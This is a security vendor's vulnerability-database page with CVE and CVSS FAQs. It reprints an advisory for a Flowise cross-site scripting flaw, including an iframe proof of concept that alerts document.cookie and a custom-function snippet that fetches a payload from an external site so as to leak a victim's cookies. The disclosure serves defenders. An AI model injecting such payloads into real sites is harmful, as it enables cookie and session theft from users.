How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

326,895

Total vulnerabilities in the database

Flowise vulnerable to XSS

Summary

A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.

Details

Send a Message <iframe src="javascript:alert(document.cookie);"> from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" />

Trigger in other ways:

Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)
Create a Custom function as an example, use the below example code.

const fetch = require(&#039;node-fetch&#039;);
const url = &#039;https://external.website&#039;;
const options = {
    method: &#039;GET&#039;,
    headers: {
        &#039;Content-Type&#039;: &#039;application/json&#039;
    }
};
try {
    const response = await fetch(url, options);
    const text = await response.text();
    return text;
} catch (error) {
    console.error(error);
    return &#039;&#039;;
}

The external website (https://external.website) return a XSS payload as content. <img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" />
The javascript code is executed and the victim's cookie data is sent to the external website. <img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" />

PoC

<iframe src="javascript:alert(document.cookie);">

Impact

it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

Published: Oct 3, 2025
Updated: Oct 4, 2025
GHSA: GHSA-4fr9-3x69-36wv
Severity: Medium
Exploit:

No technical information available.

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
flowise	-	3.0.8

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.